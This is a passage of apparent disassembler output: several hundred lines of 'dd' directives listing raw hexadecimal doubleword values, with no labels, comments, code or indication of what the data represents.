		dd 9FCA0780h, 9FC705DCh, 4F824A9h, 92016D7Ch, 9C060D50h
		dd 0D7ECFAD8h, 17B8Dh, 9FE1A705h, 2C4C7469h, 5C7A70B2h
		dd 0CED52601h, 0BC219957h, 4D221980h, 4A31D885h, 65ED110Eh
		dd 3B41803Eh, 617A94h, 0F17FC292h, 4EDB6996h, 3E49F358h
		dd 585C0008h, 41024E8h,	0F01500FBh, 2A0E93F4h, 285CE597h
		dd 0CA8B002Ah, 13F94961h, 1CD4900Fh, 5D486DCDh,	1C582583h
		dd 7B5F1900h, 0D4FCE5E1h, 34CF3EA4h, 399C400h, 0D890CA6Ah
		dd 0E9BC200h, 1A13EBCEh, 0E26E0083h, 4B1070C1h,	0FA006D56h
		dd 76F828EFh, 1A413Dh, 0B783DFF4h, 0E126541Bh, 0EC9B4200h
		dd 249FC4A2h, 0EE82009Eh, 5107E3BAh, 0D4E3EFAh,	5ABCA0h
		dd 76E1D2B1h, 17C0B36Ah, 2D0E96FAh, 73123Ah, 6053CAD7h
		dd 9E720054h, 7EF8FEDCh, 0E5909826h, 0B5BB0700h, 57597D3Bh
		dd 414F09F4h, 0C81C919h, 66D5F751h, 2550078h, 24B81584h
		dd 1D1A797Dh, 45B3107Bh, 4797CBC9h, 0B06CD7D0h,	0F6843E38h
		dd 0C8CD58h, 9F3F1E96h,	4C035E66h, 0A900DCADh, 69951706h
		dd 0F80223C5h, 936349Dh, 0B480C0C9h, 4D140BBFh,	68036BB3h
		dd 0F0766F78h, 0C080BB48h, 3B5BB5EAh, 0DF520BB4h, 0E4D0B93Ch
		dd 0FF700E01h, 751D81C5h, 0B23EC360h, 406E4A78h, 0F23582DCh
		dd 9B1C0209h, 41832720h, 0C74E2486h, 48594Bh, 0F2CE0844h
		dd 3070C76Fh, 5B4B4800h, 17055F86h, 33160274h, 0F646D92Bh
		dd 0D8340375h, 797E019h, 0E3EE0103h, 5649473Ch,	0A8904453h
		dd 0EA3C78h, 0D21FE975h, 0CDB387h, 2765AF08h, 90D05CC9h
		dd 0DC3B5A1Ch, 0A7691080h, 917D349h, 302EB2CBh,	5401547Ch
		dd 0A8D47DCDh, 0F7AF0C4h, 8C80E0F4h, 538F3500h,	0D603DA4h
		dd 9578E7DEh, 0CFD53A11h, 8059991Eh, 0B41A5A84h, 37488825h
		dd 0E6330E70h, 0C6EBC794h, 6DF1D4C0h, 9E30E92Fh, 839B0419h
		dd 81DC814Bh, 0D68BDD96h, 54D80975h, 4872C54h, 0C86B9F86h
		dd 0D90225C0h, 9E9D8958h, 128DCECh, 0D0F1CD96h,	8C03AB1h
		dd 3EB28E4Fh, 7C937978h, 0BC200001h, 3619E765h,	0E3A02B03h
		dd 0D9829A4Ah, 5EE06632h, 16A0B8C9h, 4312DF4Ch,	15709258h
		dd 7B4533D9h, 820FEC01h, 0CE30A7C2h, 8F9087h, 0E96D7770h
		dd 54A03C26h, 4C7D9B17h, 8FF86809h, 0EA3720F5h,	4ABC15E7h
		dd 829C09BEh, 56CD8018h, 0FF209A09h, 3AD041AEh,	1CF18421h
		dd 0C710042Bh, 2A88907Ah, 0E500F872h, 0BAAF7DF5h, 74211F99h
		dd 0A5832455h, 0B2AD176Fh, 6E4BC4A4h, 30D4401Fh, 5DB8065Eh
		dd 1812F476h, 0ED19A41Eh, 0F2F46F74h, 0CD4F00DFh, 9EB6171h
		dd 0F32D05ACh, 60D88E19h, 6AFDA645h, 0DC87007Eh, 399A010Bh
		dd 4700262Eh, 27DECB1Ch, 906487Ch, 8CF22862h, 0AA0370F0h
		dd 49AF1320h, 6B4D900Fh, 755B09F8h, 0C80CF05h, 8B21FB65h
		dd 0BCE79E00h, 9AF9A0ABh, 0BFF89B12h, 0DB6AB780h, 4BA302A2h
		dd 81FF943Bh, 670CE671h, 8040CBD3h, 20B353h, 0C22C62B4h
		dd 4A4B2AD9h, 0BAD2EA78h, 53480407h, 0C887B931h, 0AD9B3F00h
		dd 154A909h, 7AA841D6h,	2F40070Ch, 6FC80449h, 11144FBh
		dd 3DAA19C3h, 74C6BC4h,	0B9686E73h, 265E2077h, 3900B31Fh
		dd 94CDB67Ch, 30871207h, 4661D41Dh, 209C83B1h, 6B5B4C00h
		dd 4C399030h, 0CD00648Ch, 0D92AD79Eh, 0A5165168h, 0C8D34667h
		dd 90F6A81Ah, 3BA7006Dh, 0B30D3A30h, 98EC2B29h,	0EB0298D3h
		dd 51BF05C2h, 4A9508C4h, 70CF0B00h, 4F443A0h, 59978CA7h
		dd 24AC9088h, 5848DB79h
		dd 20660160h, 0FA9132D6h, 103E5A01h, 9A104424h,	0F2DF01CCh
		dd 9003CAA3h, 18609643h, 2DAEECF0h, 401427F5h, 37C65207h
		dd 2320F0B2h, 0CCBFE4h,	3F422CC4h, 0E5B02A01h, 0F800D94Fh
		dd 3355F8BEh, 1E6B0223h, 0F0C403CEh, 5F088057h,	0CBD62Bh
		dd 0EDF46F54h, 0E0897536h, 0F80E1D79h, 0E0DA0DDFh, 0E3BCBEC7h
		dd 0D3641C6Bh, 84D4C0F7h, 0DD279306h, 0DBA92200h, 1325AAACh
		dd 38C5793Dh, 7A28F2D2h, 0C7842CF6h, 0BC6B8084h, 2EB1643Bh
		dd 3413ED00h, 0E9B2D1E0h, 74DCE849h, 0D5120038h, 0E1EAD072h
		dd 9A1C58CBh, 0A4284A67h, 263B2C00h, 0E85CF55Eh, 584E00B0h
		dd 0C1B8A2A5h, 8D670631h, 71774688h, 2377D4A1h,	742CE370h
		dd 0F4724F8Ch, 0B300FD5Ch, 0E3828B15h, 0C9D02Dh, 7D639E52h
		dd 0A8AF428Eh, 0FA37F914h, 73F7388h, 50AD091Ah,	60F84Ch
		dd 2EC30DF4h, 0B2B57B22h, 0CA6E1D04h, 49AF8D5Ch, 9A096610h
		dd 5B5A6CA1h, 736330C3h, 0B43740E8h, 63861810h,	0F982210h
		dd 79034B78h, 2EB66864h, 0E2583EDBh, 71BD9A00h,	0CE3C489h
		dd 7AA0469Dh, 0C6D91864h, 0C37B18CBh, 0D8AB6700h, 479DA7D6h
		dd 0D5583866h, 0ECBF9109h, 850C2900h, 0E89523CEh, 5F1A344h
		dd 3DA1B76Bh, 0E82C434Ah, 7001C8D9h, 2662A681h,	0A0DFB020h
		dd 0EC37E94Bh, 0ECE6F872h, 5F423E3Eh, 0C1F71804h, 0C440EA47h
		dd 0F836AF22h, 74090139h, 457B1FB7h, 0E23DFC98h, 1340F200h
		dd 18A2EC9h, 0C0B0007Ch, 0E46A30Ah, 0A41DEE6Eh,	3DDD4329h
		dd 0B300529Ch, 0F4B53903h, 5748079Dh, 20057F77h, 6847CFF9h
		dd 416EA600h, 39A4CB82h, 54CE0F49h, 0EC400D36h,	80592152h
		dd 0ABAF6200h, 0CD13072Ch, 5DD4F9C8h, 3B75009Dh, 0D679C52Dh
		dd 80C0E654h, 1337630Dh, 411A0068h, 524D8ED4h, 0D803D7EAh
		dd 0C8E06F4Fh, 6B04F028h, 845B006Eh, 6C4E5C0Bh,	0F7225D3h
		dd 9844B0A8h, 2FA1DF03h, 0A881998Bh, 5AA66EA0h,	0B0E25Ah
		dd 0EFDF9006h, 7E616863h, 253C003Eh, 67CC4C1Dh,	0F654A6E4h
		dd 660F40CCh, 6753522Ch, 0AC609F92h, 1CF990Dh, 0D33EF491h
		dd 0D4F08777h, 7906A345h, 2961EA66h, 60388A68h,	0B7C9B4h
		dd 0C1D67B9Fh, 6AB3A8F2h, 0BCFA5E00h, 61592905h, 5F11003Bh
		dd 9A30E68Fh, 85012DA9h, 40A057C5h, 0E180296Bh,	667D22D1h
		dd 210072DBh, 0CE847EDAh, 0E29D7310h, 2CA900A1h, 0CDCABEF5h
		dd 0C9C0E0A7h, 0BBA85715h, 2230078h, 82DA5040h,	80000ECEh
		dd 0A9F9F452h, 3E36DD32h, 16009757h, 0AB7233F7h, 3100624Eh
		dd 4D527937h, 3D5EF26Ch, 9782E5A5h, 0D393812Fh,	11C1D960h
		dd 5C4DA600h, 0ADE807BCh, 2AC892EDh, 845D34h, 0ECB8C1EBh
		dd 4C9B65DAh, 36CB5C07h, 0DC31BCE6h, 69209286h,	4139C0FAh
		dd 0D0EDDEC0h, 0A7793500h, 8DAB7356h, 0E6EB2E8Bh, 0F080397Eh
		dd 1EC4BBD2h, 609DADC1h, 3E3AF0h, 78B65C6Dh, 5669077h
		dd 0ED0003B8h, 0B7A6DE9Dh, 1C35CA9Bh, 7AD18ADAh, 117D7418h
		dd 48CA8D7h, 67B4ACCDh,	0D1C4416Bh, 418298B6h, 0FA159D54h
		dd 0F63D04B0h, 39101363h, 83D989F5h, 0E134218Ch, 0B3004E29h
		dd 94E59EACh, 0CDFB84h,	0DE56856Fh, 8B9BE091h, 236EB400h
		dd 0ABBF7E52h, 30FC5013h, 53111ED0h, 4DC00697h,	0DA0019F8h
		dd 73B859B1h, 331170A1h, 308997Bh, 89BF2100h, 0E907DD59h
		dd 450E0C29h, 6A999122h, 117D7200h, 206B8E6Eh, 4983003Bh
		dd 428295D2h, 29CF9F22h, 26E9E3C6h, 4511B04Fh, 3B9407BDh
		dd 63D3FB7Fh, 31E0BEB5h, 0EA60345Dh, 866080E9h,	0C4B7005Ah
		dd 0F388389Ch, 0B2DA9ACh, 63185883h, 439AA1F0h,	0D0A4279Dh
		dd 6CBB2F3Dh, 80A37E2Ah, 0A29CBE0Ah, 74408412h,	3C456C6h
		dd 0FE31B8DDh, 830D0D5h, 0CD9B214Ah, 5CBB0056h,	147BF550h
		dd 2F3E5322h, 38397294h, 9C5B0123h, 0D4CBBB3h, 0C459A4h
		dd 470C2DEEh, 65008D03h, 419B42D5h, 1C3981F1h, 0C0B8949Fh
		dd 0ED51159Ch, 4C00D59Ah, 993750FAh, 0E186DEAh,	952196BBh
		dd 59059026h, 0E7C62F00h, 9F5AABD7h, 0C17F74EAh, 0BB3329A9h
		dd 1828BEFBh, 0B4195B78h, 0CDBE19CEh, 0CD46518Dh, 0F521EE90h
		dd 985092DFh, 37BF3BDh,	0F438253Bh, 13992193h, 0A249805Eh
		dd 39BDB97Ch, 0B0980F17h, 6F79EA5h, 7937331Bh, 86FACF05h
		dd 0C0401634h, 0C217C035h, 78CD066Ch, 8BE9491h,	0D721F860h
		dd 1E0B17C8h, 7FFF1A7Eh, 0C738BB9Eh, 392D2319h,	10436E81h
		dd 5D3180A6h, 0C4CA9676h, 345A18FCh, 0ABF319E6h, 26E22F00h
		dd 516BEA2Eh, 6CD0012h,	5F0BDEB8h, 6E0ABDFEh, 54F92B34h
		dd 0C2808411h, 0BD6CC417h, 0D5E3448Ch, 0CC17CA00h, 1A40200Eh
		dd 5919C114h, 4890DCF4h, 2B326EA0h, 4D7B8BAh, 94C4518h
		dd 9B17B840h, 1F044802h, 83DB3E51h, 5291B92Ch, 77AA8C88h
		dd 0E1C29637h, 3BF19253h, 0C0E9A39h, 0BEEEC51Ch, 0BBB402E2h
		dd 26930C60h, 0DD129400h, 0B5D0FC0Fh, 79BF6033h, 7D2C785Ch
		dd 0CBB01490h, 2380A8D4h, 56C501A5h, 18D0DDC1h,	0CC94884Fh
		dd 35B45600h, 0EA81648Eh, 99790C60h, 52F9973Dh,	0D322F900h
		dd 1BAADDDCh, 795E3ABDh, 70EA7E08h, 0E602E4A0h,	0E7C19A46h
		dd 0F56048F7h, 24DF3A9Ch, 4A01FFBDh, 0E7DD9BF4h, 601040C7h
		dd 0E00B9B0h, 0F422DFADh, 0BB2C9Ah, 0B21D76F3h,	993CCA15h
		dd 7D89C9h, 0D1138D4Fh,	1C5833DEh, 21008209h, 0CD39A5DDh
		dd 0BB68AEh, 1DC4E2D5h,	0CBA7E6B5h, 95C0A007h, 0EAE1C94Dh
		dd 5C424172h, 0C7C46B1Bh, 12557AC3h, 89A7819h, 0C7C38924h
		dd 956C9117h, 0D088FD18h, 0DC1700CFh, 3768A141h, 0DF60F45Ch
		dd 95965451h, 0AF491FBh, 8DC5D5Fh, 0A4449B91h, 0C256C460h
		dd 11E8DD23h, 0CB950071h, 655D9656h, 6B7C037Dh,	3447E143h
		dd 134BAEFh, 16EFC626h,	4CB841ADh, 0B4199EF3h, 0AB5ACC0h
		dd 446C952Ch, 5F6013F4h, 0CAE4F61h, 4390036Dh, 880D836Eh
		dd 0ADCB7EA0h, 0A311B499h, 0A482C789h, 5891A0DDh, 0CE9A104Eh
		dd 59440056h, 3ADFF3E3h, 7530EAA8h, 34B4214Bh, 5EA4A8EFh
		dd 1337A7Bh, 75D79E77h,	208D8A98h, 6305B58Ch, 5D7BEABCh
		dd 171DE021h, 849BF510h, 117F20CFh, 3A11BA01h, 621E4399h
		dd 8044541Ch, 0B5263100h, 0EE239A95h, 3EF5F839h, 2424E955h
		dd 0BA171Ch, 9A407DD1h,	96022F8Eh, 15B37938h, 44C4CCDh
		dd 13B039BAh, 2F8F62D9h, 0AD39A240h, 26589012h,	5DE0C294h
		dd 0F3E640BAh, 38A70073h, 0F18065F5h, 3D4CA5F8h, 0D94E81DCh
		dd 9B307C99h, 0E7491205h, 56F60259h, 0F0C590E5h, 7E610EE4h
		dd 17E62093h, 0C0CA40C8h, 73BE598Fh, 122B146h, 5987B900h
		dd 0D3D86BA6h, 8161044Eh, 82FD28DBh, 0D830A008h, 0DDC61156h
		dd 804988C8h, 6C56CF99h, 4D30BD50h, 0F0AD39F6h,	7B221E8Dh
		dd 562C80D7h, 3F7ED8E9h, 538848F5h, 0A0AE7200h,	20481B9Ch
		dd 0C3CC02A4h, 0C1F4BC87h, 15DF9061h, 0A8413008h, 0F1134500h
		dd 4F4227Ch, 0AC631FDFh, 4D558C8h, 407E642Ch, 0B52C9817h
		dd 1F95BC0Eh, 249A80DAh, 0CFAD53FBh, 0B1605E30h, 6E68BBB5h
		dd 90AE5424h, 4BD1E829h, 3AA5C419h, 13DCBE48h, 9427221Fh
		dd 413FD550h, 25D0389Ah, 69CE2CCDh, 1FC28390h, 5D3906CFh
		dd 29893D9Ah, 2C0CF112h, 0EECE1F00h, 276867h, 97A20DC5h
		dd 9D757028h, 112C990Eh, 433790h, 0A83C9Ah, 3EEF6F41h
		dd 0EA8D7F1Dh, 1101C07Dh, 94BEE0DFh, 0ED700B2Ch, 5C5EAC9h
		dd 9CBF39F4h, 0C28060A6h
		dd 0DD24C056h, 977008D8h, 505664C9h, 8ABCC2BCh,	1117C430h
		dd 88AD6CC6h, 0CCD380E2h, 47E31F17h, 9819D606h,	0B2C0AB8Ch
		dd 23064530h, 30E0A2E8h, 3D0B314Dh, 2C20EDEh, 601466DCh
		dd 0C01234B0h, 0DB7D8D29h, 0F00A6421h, 380933ADh, 0C3878591h
		dd 0B56C2217h, 0D410FF31h, 0F10717CBh, 0CD13CCEBh, 643DC012h
		dd 5DF20118h, 2847241Ch, 30AC49D9h, 0ED72C124h,	71E9AC05h
		dd 30D3AA96h, 159DEE4h,	0D476AFB3h, 0D0DC20C0h,	0F6307105h
		dd 0BD6229B6h, 805300EEh, 4ABC486Eh, 1E73F911h,	0DE731408h
		dd 0E329FB2h, 50825571h, 3446DF9Ah, 0BA992A0Eh,	0E69DE1E3h
		dd 2C30F4FDh, 0B3028CCEh, 5173BA59h, 100F1971h,	6598BBDh
		dd 2843B290h, 0B8B9B9FCh, 40040802h, 5ADD40D1h,	23DF00BCh
		dd 0C494A50Fh, 6D05C213h, 2E667606h, 3970E0DCh,	0FE253315h
		dd 0BB06C098h, 0CC7CA201h, 0C7BFA894h, 3C8B5D0h, 0B9AC9F35h
		dd 0B3E1AAF0h, 0B674F0CAh, 0A999F61Eh, 1D9E3CBEh, 0B81BD475h
		dd 62A7D810h, 0ACEA0035h, 5ED3DD7Fh, 9600A5A8h,	9FC6BBB9h
		dd 7F67D60h, 0F4A0A295h, 0C07CF799h, 0CAACA4AFh, 0B0DCE1EFh
		dd 0A9CB3008h, 74BA7C62h, 0A17D0097h, 0CEB6B592h, 0C0EAADDAh
		dd 283DDB4Eh, 0A0BA041Eh, 0D645974Ch, 3F506F10h, 1FC28F7Fh
		dd 9F57808Ch, 12F67E6Eh, 0CBFC1685h, 0C048C880h, 0F0F87DEAh
		dd 1C50F264h, 7FEC08A1h, 289C678Dh, 5C68B943h, 0A930870Ch
		dd 0E7D77099h, 38DA63D8h, 65B3F515h, 609CE900h,	139A43C6h
		dd 3CDE0477h, 0E25AF91Dh, 3080F25Ch, 5A0E05EBh,	0D8294019h
		dd 18D3F589h, 58FD0791h, 3A00221Ch, 9B33A415h, 61341FDFh
		dd 0FACF98EBh, 0C7802887h, 6C2217C1h, 60E451C5h, 417C9D6h
		dd 2EEA130Ah, 0A7C48838h, 0C870CB53h, 0E990C070h, 4E003F2Bh
		dd 0B55943DBh, 4EEABCB4h, 3C044979h, 2D0430C8h,	0C5993Dh
		dd 2B572AEEh, 0AB5C47Ah, 617B9811h, 1B9B00ACh, 5AA6091Fh
		dd 38509F4Ah, 8CE3B878h, 8C72E807h, 0D7A51865h,	7DB09C10h
		dd 25127320h, 289F0F34h, 3F81E011h, 0C17D9A9Ch,	59619E20h
		dd 0EC0CA029h, 1EF99Bh,	9F566C90h, 0AF14F113h, 0EE244306h
		dd 0D88FEFBh, 50DE9016h, 0B374D420h, 0CE7424F4h, 141AE640h
		dd 90775398h, 94A8FA0Ch, 0F18D3B0h, 9678D9B0h, 901A7D67h
		dd 0A1550560h, 20D492E8h, 8E5A25ECh, 1689BD13h,	4A88A08Eh
		dd 489C8BC0h, 0E6E186Ch, 1FDD4891h, 800CC032h, 9008649Dh
		dd 1CC4600h, 73BC598Dh,	180B7081h, 0A12085BBh, 31C001DFh
		dd 0C407DDD2h, 6C5882F9h, 829A967Eh, 2DEBC38h, 2227E69Bh
		dd 0E531A143h, 0F568F404h, 0BF6BF30Eh, 4FC458E5h, 0C119160h
		dd 0B8BC4000h, 98F99493h, 0F5311470h, 2481E8D7h, 80421265h
		dd 0B2048C39h, 19267B0h, 0CCB4BCB6h, 834375EAh,	0F5CA8421h
		dd 0E26CC39Bh, 78C4471h, 2265C48Eh, 9ADD13DCh, 8344E791h
		dd 1E766EC1h, 0B5F81B82h, 42E450BCh, 0DA4C29DFh, 2A3D002Ch
		dd 6A6630C0h, 0F0024B4h, 0E4563EB6h, 1F411FBh, 0D9889679h
		dd 209D5AFCh, 0DD8848F8h, 0C05072EFh, 86CAA570h, 0DCA49695h
		dd 2FB59A3Ch, 0D4649004h, 0FF0F003Fh, 73BDC23Ah, 5CBE7159h
		dd 0C6DC00DCh, 0D4681AACh, 0E26812Dh, 8F11B4F1h, 31E53418h
		dd 2D3A85C7h, 0DDB100A5h, 0FC2E48B4h, 68502625h, 866C0268h
		dd 94857AB9h, 0D6E809DFh, 70795451h, 8B01CE18h,	3A22BE6h
		dd 60E26DCFh, 61F364h, 149589B8h, 8E6EBB9Eh, 0CC927D2Ah
		dd 9CF5CC00h, 9B99B6EFh, 319002DDh, 0EA1791FBh,	0E428DC41h
		dd 9E2C822Eh, 46748C13h, 0CCF40003h, 0BAA1EEACh, 40955E3Dh
		dd 6021B1C8h, 0AA007650h, 72CDA6E2h, 0F67EF903h, 2F4C4FD0h
		dd 1FF23F4h, 0EFE9DF7Ch, 0C226E07Dh, 74D5CEAh, 84F8246Ch
		dd 0F03A0D12h, 22010D23h, 4CA53AC3h, 7DA4412Bh,	0D5A12905h
		dd 0B96EF4DFh, 0A2A463FDh, 0D5983099h, 52DB000h, 0C666D459h
		dd 4CBFF413h, 0BA169870h, 88988BBEh, 3046C14Eh,	9FCBD889h
		dd 447E4Ch, 0FC13B97Dh,	306873B4h, 9C604D4Ah, 5D735CD5h
		dd 45C4B525h, 67E1E490h, 488E603Ch, 384E2C9Eh, 0F01F41D4h
		dd 4643EFF4h, 0D02A9C2Ch, 70D49E68h, 21B900E5h,	71096DF8h
		dd 91A4A5h, 8618FDD1h, 0AA3BDA09h, 82F482D8h, 0B43D057Ch
		dd 3A76B854h, 0B0D03B07h, 60CE6604h, 531A5D32h,	788CA005h
		dd 714F4026h, 84B3C624h, 9763BC85h, 0DE288E2h, 0B9C9030h
		dd 7BEA5592h, 284238C4h, 98E6C06h, 0D548A888h, 41DE30F0h
		dd 4A1E430Ah, 0EC5CC04Ah, 9360FD8Fh, 6EBC8428h,	8C3D3022h
		dd 29EC0FD9h, 748E103Ch, 1AE4D900h, 42E632B8h, 35471B58h
		dd 1BA071ECh, 7900C41Dh, 1A620E13h, 13BBB3C1h, 3078FD6Ch
		dd 0DD8CDE5Ch, 38555700h, 318716AAh, 7B7638F3h,	6E723A09h
		dd 0CE750805h, 0C1FF886Ch, 0DC67E24Ah, 0D1F6160Fh, 0A4CCC18h
		dd 0E0D31EF9h, 328307B6h, 67DB8991h, 105340C9h,	1826B9A8h
		dd 0E42854C2h, 8E02CB46h, 8973BF59h, 0B8100C31h, 14065986h
		dd 0E8333912h, 99B10791h, 509140C4h, 8C625FFFh,	8A0EAD01h
		dd 0EC13CE73h, 0CD888433h, 0C1598CC2h, 0AC7C9928h, 5984BAB0h
		dd 0C1EA6B0Bh, 2698A093h, 32DE7225h, 0F10E743h,	85550440h
		dd 82A15780h, 60A7FC84h, 2CC756C3h, 7004C0DDh, 560FCA96h
		dd 0E02317F1h, 39E27EC1h, 1D40187Fh, 7BF5F1EEh,	0DBB71C00h
		dd 82965E3Eh, 17BA172Ch, 7CDA1498h, 77DE7304h, 5D080209h
		dd 5C4412h, 3DBE8E8Fh, 8162AD7Dh, 53674008h, 2F1771BDh
		dd 0FE230C3Eh, 0B869A00h, 1481AEB5h, 6033BF15h,	6A38F70Eh
		dd 835B22E0h, 0E809FE12h, 524C0C1Ch, 9FD70014h,	4595FD6Ah
		dd 790005B0h, 3682AD5Dh, 4A2BC85h, 0F421DFC4h, 0F2CCB28Ah
		dd 44F0334Ah, 7831EA20h, 29431958h, 4012F429h, 0D000470h
		dd 44AD13h, 7EB9F519h, 60313DC4h, 62F3884Bh, 4D4B8910h
		dd 718D10D0h, 0B18A2653h, 4BAA0FCEh, 0B67351C0h, 4E171D6Ah
		dd 7C47DCF4h, 0A97BC454h, 0C12C4D60h, 20626371h, 0EA88ED0Ch
		dd 0D0B97Dh, 7E68BBB4h,	18B0D329h, 0C42C10FAh, 5A04A4D5h
		dd 1CA92249h, 69E3DA00h, 4AACD2BEh, 13A23E00h, 0C5F26CF8h
		dd 2471EAEAh, 2AF16B7Bh, 0D6FCBC68h, 3446BF14h,	7D240054h
		dd 3144BABh, 8E992FF6h,	9A83883h, 802CA05Ch, 4F62B2BEh
		dd 0B9E800D7h, 465958F5h, 0E905A345h, 2F7BF486h, 0A54A814h
		dd 0E8349796h, 0E47C45A5h, 58076702h, 60F96B12h, 8033571Ch
		dd 66126825h, 0EC01940Eh, 7A5CF7D0h, 0C1319870h, 0DBF5E5D1h
		dd 60202593h, 48CC920h,	138C39BEh, 3EDA38B9h, 0BF8139A6h
		dd 0D4CA9209h, 0C2EE0B1h, 84C8A51Eh, 55105464h,	2EF46C8Ah
		dd 0EB096FE0h, 8000E879h, 0F8CF65F7h, 11240099h, 1096C4ACh
		dd 0C209BFC6h, 916A9584h, 0C3213D4h, 5951BC00h,	5DD42F33h
		dd 4CE40700h, 95C54EB7h, 0FDFA456Ch, 0D2F042DCh, 4D446C67h
		dd 0E4A29A61h, 6B2EED7Ah, 4C109014h, 0F2E8D27Eh, 41B400B4h
		dd 9E502E20h, 6C05CFFh,	8C80523Fh, 0F42A9A58h, 955C9665h
		dd 0DEF584E4h, 45C3AC88h, 122060BDh, 2C16D40h, 5AB2411Fh
		dd 742049Fh, 28D3D869h,	0E8B2354h, 6C4417C5h, 0D238A5h
		dd 0EEE717CDh, 22E3683Fh, 0C8B5702Eh, 0A75DA08h, 0C48D6F5h
		dd 714016BCh, 3807099h,	8B6AE24Fh, 8C7B0F89h, 2D02A2C0h
		dd 6CC6C4B0h, 0D2F24E17h, 6E8A1100h, 1F5A289h, 0CA1959F1h
		dd 84E91443h, 5B77EA29h
		dd 851F4B2h, 972CEC28h,	0D465E74h, 0E9E7F100h, 867F0C09h
		dd 65948050h, 0E3C1012h, 4D8D014h, 0DCB8187Dh, 0E9D3A501h
		dd 118681Bh, 9677F4C3h,	4C68EE03h, 88F4CB4Bh, 2105C084h
		dd 0F413816Eh, 100288B4h, 9D268E7h, 0F01BB819h,	791DFBD0h
		dd 0F3BD733h, 23DC6574h, 10BED625h, 0F34C798h, 8EBF4C6h
		dd 0D91C82B3h, 9CA17CDEh, 0E2929644h, 0F673AC48h, 28371B30h
		dd 0C0084CCDh, 0E8B47A71h, 22007E97h, 96AC92C4h, 7603775h
		dd 805355C9h, 0C4AC8B90h, 58CCFF8h, 13B639B8h, 0C2C8A2C9h
		dd 0C239A0D0h, 50C762Ah, 971F45Ch, 689D09D0h, 38800611h
		dd 0AD12365Eh, 0E5F69226h, 0B622E0Eh, 65042074h, 88A8D8F4h
		dd 0AA9D6D96h, 80C86020h, 240E0C20h, 41C71230h,	7EEA0D10h
		dd 14D4223Ah, 51B8B232h, 18FE7904h, 0A3A6019Fh,	0C377D70Eh
		dd 0E8F06A6Fh, 487648EDh, 61C07848h, 1485BA7Bh,	0C3D48400h
		dd 55234201h, 25F402C5h, 0CB15B205h, 39BCC4B0h,	0A94C13F6h
		dd 0A4DCE0C8h, 2CF10039h, 5D7D2DE8h, 7E4CED21h,	79D31058h
		dd 0F9406071h, 0DB06341Ah, 0D5DC7301h, 18A6D9Fh, 4EBA68C4h
		dd 0CF583275h, 1159B230h, 9CA973BBh, 8ABC0022h,	3FC45659h
		dd 0FC12DDDEh, 0D03444h, 5A4627h, 123AB6C8h, 0D9D3047Dh
		dd 58E2F324h, 283AF217h, 0DC01E123h, 74C625BBh,	1A0BD43Ch
		dd 860D298h, 9200A9FAh,	0EFC63A06h, 0B85B71CFh,	58BFA24h
		dd 78A694F7h, 8DA04075h, 1184F4C2h, 0CD60ACA0h,	0B82444BBh
		dd 75848824h, 28857062h, 7E013CA2h, 0E011A015h,	0CDA9D05Bh
		dd 8B5D6600h, 0EC6D1AFh, 38870021h, 11823306h, 1400E824h
		dd 67553E69h, 3A366F5Ch, 430032DFh, 4BF394EBh, 240FBE3Ch
		dd 393A441h, 0E3CC95EFh, 0A1D3D17Bh, 0AF03F4h, 691CE84Eh
		dd 4FA9B426h, 28004272h, 1A3F6E4Bh, 9CE55Ch, 0E1BF5BDFh
		dd 0C4EAA004h, 115ED701h, 17E7DE25h, 0B83CE46Ch, 0BB05D03Dh
		dd 499BDAF5h, 14D32088h, 951A670h, 0B76C32A5h, 0BC28DC01h
		dd 7BEA01F4h, 0DD05F832h, 0F1FDA0EFh, 82546858h, 5E6D95B4h
		dd 4960818Ch, 0F0CAC0BDh, 46247811h, 44916441h,	0EB06FF03h
		dd 63C80249h, 0F73CFD21h, 7B3AC8B8h, 0A5C1CA00h, 4BB59BB3h
		dd 0D12CB175h, 6D0180Fh, 7C1057EDh, 7022C9F0h, 3FE8A647h
		dd 5F12FFFEh, 955700A8h, 0A5136458h, 7CEA7F15h,	0D80F1D7Ch
		dd 0B59B7820h, 42BC8893h, 0D1976325h, 180C7178h, 9CE27E22h
		dd 0E94440A4h, 0E800C493h, 417AF235h, 0B266A8Fh, 36B4E5B3h
		dd 88C5F462h, 0F6049E4h, 924A953Ch, 559A7841h, 0E4780428h
		dd 26499400h, 0B502DF4Eh, 0FF755B17h, 4823BC3Ah, 10546601h
		dd 58ACFCACh, 0F8467478h, 770E203Ah, 86A1027Eh,	28073D15h
		dd 0DC1C10DCh, 7A77160Bh, 0EB5F0C0h, 0F04C22h, 7128293Eh
		dd 2A84C70Bh, 7AC82705h, 208C74EAh, 0E1048C11h,	727A7813h
		dd 517B5482h, 406F44B8h, 0BA9AA539h, 645F1311h,	4BB0332h
		dd 0DECA13B5h, 1DCDC54h, 471CB4A9h, 624EDC7Ah, 230D00C4h
		dd 0F5A7CCC5h, 909E58D5h, 0C3651098h, 0B208BD69h, 468D8A4h
		dd 0C28CC004h, 0BEC080BDh, 0DC0B216Eh, 0E58AF444h, 6048E484h
		dd 1313B483h, 97471260h, 0A3054F8h, 71CCACBCh, 16F9B022h
		dd 0F43D9A62h, 34003BF8h, 0AB5014E2h, 2C0EB1AAh, 52DCA3CEh
		dd 0FC59FC59h, 0AD0E1118h, 83D1A7F9h, 993D8F5h,	0F459BD71h
		dd 0ACB18C46h, 0B6725E80h, 0EC2132Dh, 207C627h,	0D9B57960h
		dd 0CB057D03h, 495AA7A4h, 4DF2A8F2h, 2A49D033h,	2C69326Eh
		dd 0C623EB78h, 0B97D8872h, 31E21246h, 623B005Fh, 939594A4h
		dd 70041C99h, 0E4A4BBD3h, 0AA6E126Ch, 8508A17Fh, 33B40670h
		dd 3BAD088h, 80A8FE78h,	8B974716h, 0F45BE880h, 2095DE3Ch
		dd 7E529DB8h, 8DA75EEBh, 3C372AECh, 98F36988h, 2D78A50h
		dd 6C2057E9h, 9CE92186h, 0F6E289B5h, 381C0263h,	9130975Dh
		dd 96F180FCh, 27346E4Fh, 0B0A0126Ah, 2860E41Eh,	803A5C38h
		dd 0E8A34682h, 16133993h, 13479FC7h, 0A954D7F8h, 28006052h
		dd 6FD73ED8h, 201C7F6h,	0EBF5D28Eh, 0E0D8F391h,	660140Ch
		dd 169B3874h, 0B6114ABFh, 0D961E390h, 0B0481F43h, 478A019Ch
		dd 579B16CCh, 88884E5Bh, 61C0CFE3h, 8824CAB7h, 2FC9EB09h
		dd 46346437h, 25282278h, 0C012DDF5h, 0F3046859h, 5CB0D3E9h
		dd 0C8A526CDh, 70452D90h, 986C26BEh, 64C48E09h,	1ECC463Ch
		dd 13CB39BBh, 60AC79C1h, 8739A3DFh, 0F49A6E00h,	2E1B52B6h
